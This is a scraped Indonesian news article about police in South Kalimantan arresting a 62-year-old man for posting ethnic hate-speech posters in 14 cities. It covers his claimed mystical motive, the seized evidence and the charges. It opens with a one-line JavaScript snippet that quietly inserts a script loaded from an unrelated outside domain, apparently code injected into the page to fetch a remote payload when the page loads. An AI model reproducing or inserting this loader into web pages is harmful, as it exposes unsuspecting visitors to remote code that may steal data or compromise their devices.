(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Polda Kalimantan Selatan (Kalsel) menangkap seorang lelaki yang menyebarkan ujaran kebencian terhadap etnis yang ada di Indonesia dengan menggunakan media poster.
Adalah WA, warga Desa Kentong RT 001 RW 001, Kecamatan Cepu, Kabupaten Blora, Provinsi Jawa Tengah, dihadirkan saat konferensi pers di aula Mathilda Mapolda Kalsel, Jumat (27/10/2023) siang.
Kapolda Kalsel Irjen Pol Andi Rian Djajadi mengatakan, aksi WA menyebar poster ujaran kebencian kepada salah satu etnis tidak hanya di wilayah Kalsel, melainkan berpindah-pindah dari kota ke kota yang ada di Indonesia sejak Maret lalu.
Baca juga: Bendahara Setwan Jadi Saksi di Sidang Korupsi Pengadaan iPad DPRD Banjarbaru
Diantaranya, 5 titik di Jakarta Timur, wilayah Jawa seperti Bandung 16 titik, Semarang 30 titik, Surabaya 33 titik, dan Solo 3 titik.
Lalu wilayah Sumatera seperti Metro Lampung 13 titik, Palembang 2 titik, Jambi 16 titik, Pekanbaru 30 titik, dan Medan 2 titik.
Kemudian wilayah Kalimantan meliputi Banjarmasin 13 titik, Palangkaraya 33 titik, Sampit 10 titik, dan Pontianak 15 titik.
“Yang bersangkutan telah melakukan aksinya di 221 titik pada 14 kota di Indonesia,” ungkap Irjen Pol Andi Rian.
Baca juga: Ini Motif Penyerangan Kelompok ‘Pasber’ di Banjarmasin, Terbentuk 2017 Bermarkas di Pojok Pasar
Menurut pengakuan penyebar ujaran kebencian berusia 62 tahun itu, kata Kapolda, WA menyebarkan pamplet tersebut karena mengaku mendapat pesan gaib setelah melakukan meditasi dan ziarah ke kubur leluhur.
“Pelaku mengaku mendapatkan wangsit sehingga melakukan perbuatan itu,” ujar Kapolda Kalsel.
Masih dari penjelasan Kapolda Kalsel, kronologis penangkapan berawal dari informasi masyarakat terkait adanya selebaran atau poster yang mengandung ujaran kebencian di wilayah Kota Banjarmasin pada 28 September 2023. Kemudian Polsek KPL Banjarmasin melakukan patroli hingga ditemukan poster berisi ujaran kebencian di 13 titik kawasan Pelabuhan Trisakti Banjarmasin.
Baca juga: Baznas Banjar Bantu Uang Tunai 29 Rumah Rusak di Kertak Hanyar
Temuan poster tersebut kemudian diselidiki Polda Kalsel, Polresta Banjarmasin, dan Satgaswil Densus 88 Kalsel. Tak berselang lama, pelaku WA kemudian berhasil ditangkap di daerah Kabupaten Tanah Laut.
“Tanggal 29 September 2023 sekitar pukul 15.30 Wita di Kecamatan Batibati, Kabupaten Tanah Laut, pelaku berhasil diamankan dan dibawa ke Mapolda Kalsel untuk proses.” katanya.
Baca juga: Baznas HSU Galang Dana Peduli Palestina
Dari tangan pelaku WA, polisi menyita barang bukti berupa 48 lembar poster pamplet berisi ujaran kebencian, 4 buah spidol, 2 buah gunting, 1 bundel potongan psiter pamplet, dan 3 botol lem kertas.
Perbuatan pelaku dijerat dengan pasal 4 huruf b ayat (1) atau barang siapa di muka umum menyatakan perasaan permusuhan, kebencian atau penghinaan terhadap sesuatu atau beberapa golongan penduduk negara Indonesia sebagaimana dimaksud dalam pasal 16 Undang-Undang nomor 40 tahun 2008 tentang penghapusan diskriminasi ras dan etnis dengan ancaman hukuman 5 tahun penjara dan denda paling banyak Rp500 juta.
Selain itu, pelaku juga dikenakan pasal 156 KUHPidana dengan ancaman hukuman 4 tahun penjara. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More
KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More
KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More
This website uses cookies.